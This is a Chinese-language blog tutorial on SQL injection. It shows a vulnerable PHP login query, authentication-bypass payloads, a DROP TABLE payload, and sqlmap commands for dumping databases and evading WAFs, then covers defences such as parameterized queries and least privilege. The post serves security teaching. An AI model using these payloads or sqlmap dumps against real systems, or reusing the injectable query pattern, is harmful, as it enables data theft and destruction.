SQL Injection 攻擊及防制
2024-06-28 13:38:38

SQL Injection 是一種安全漏洞,當應用程式未對使用者輸入進行適當的驗證或清理時,攻擊者可以利用該漏洞,將惡意的 SQL 代碼注入至該應用程式,從而操作或存取資料庫。攻擊者通常會在輸入欄位(例如:登入表單)中輸入特殊的 SQL 語句,企圖改變原始 SQL 語句的結構和意義,從而達到不法目的


介紹 SQL

先參考一下上圖,了解一下 SQL 的架構,由大範圍到小範圍分別是 Database ➜ Table ➜ Column ➜ Data
每個 Database 中會有一個或多個 Table,上圖就有 Production.Bread、Production.Category、Sales.Customer 等等。
Table 中又會有一個或多個 Column,像是 Sales.Customer 這個 Table 中有 firstname、lastname 以及 email。


漏洞實現

和平做法(單純測試娛樂)

假設您有一個簡單的登入頁面,使用者輸入他們的用戶名和密碼。後端程式碼可能像這樣:

1
2
3
4
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);

如果我今天輸入的帳號或是密碼是 ' OR '1' = '1' -- ,那我在做 mysqli_query 時,我的 SQL 搜尋句就會變成

1
SELECT * FROM users WHERE username = '' OR '1' = '1' -- ' AND password = ''

這段搜尋結果大致上等同於

1
SELECT * FROM users WHERE username = '' OR True

-- 是 SQL 中的註解符號,所以它會使查詢中剩下的部分(AND password = '')被忽略,所以在這樣的情況下,我們就可以實現把 username 全表直接倒出來

或是你也可以輸入 ' or ''=',就可以讓搜尋指令變成

1
SELECT * FROM users WHERE username = '' or ''='' AND password = '' or ''=''

就等同於底下這段查詢指令,一樣可以達到攻擊效果。

1
SELECT * FROM users WHERE username = '' or True AND password = '' or True

邪惡做法(將可能對伺服器造成重大危害)

到這邊都還不會對資料庫造成實質性傷害,如果我今天輸入了 '; DROP TABLE user --,那整段查詢就會變成

1
SELECT * FROM users WHERE username = ''; DROP TABLE user -- ' AND password = ''

如果成功,那名為 user 的資料表就會成功被我刪除(DROP)了


工具做法:sqlmap

https://github.com/sqlmapproject/sqlmap

1
sqlmap -u 網址 --batch --dbs
  • --batch: Never ask for user input, use the default behavior
  • --dbs: Enumerate DBMS databases
  • --users: Enumerate DBMS users
  • --tables: Enumerate DBMS database tables
  • --column: Enumerate DBMS database table columns
  • --dump-all: Dump all DBMS databases tables entries,將所有資料庫匯出成 csv 檔案,只想匯出當前的話請用 --dump
  • -D DB: DBMS database to enumerate
  • -T TBL: DBMS database table(s) to enumerate
  • -C COL: DBMS database table column(s) to enumerate
  • --random-agent: 隨機 UA,用來迷惑 WAF

如何防制

  1. 使用參數化查詢 (Parameterized Queries)
    類似於預設輸入,一個蘿蔔一個坑,以下程式碼舉例:
    1
    2
    3
    $stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
    $stmt->bind_param("ss", $username, $password);
    $stmt->execute();
    如果我今天一樣輸入 'OR = '' 的話,系統會把它解讀成一個查詢字串,而不會把它融合在指令中。簡而言之,我可以通過這個登入一個名為 'OR = '' 的用戶,但我無法實現 SQL Injection。
    除了 php 可以用 bindParam(),像是 Java EE 有 preparedStatement()、SQLite 也可以使用 sqlite3_prepare() 來防範
  2. 輸入驗證 (Input Validation)
    可能放在前端,或是後端查詢資料庫前針對輸入資訊透過 Regex 等方式驗證資料格式正確性。
    放在前端的話,通常都還是有 Bypass 的可能(F12 大法,或是直接 POST 出去),所以還是在後端查詢資料庫前進行驗證會比較好
  3. Escaping 所有用戶輸入
    我不太確定 Escaping 怎麼翻譯成中文,所以就保留他原本英文的意思owo
    簡單來說,今天在前面幾個步驟都做完,我還想更近一步防制的話,我可以直接將 ' 轉成 \',就可以最小程度防止它成為指令的一部分
  4. 最小權限原則 (Least Privilege)
    別總想著用 root 搞定一切資料庫操作,像是處理搜尋欄位的資料庫用戶就不需要有 write access,永遠把權限放到最小,才能減少不必要的損失 :)

Reference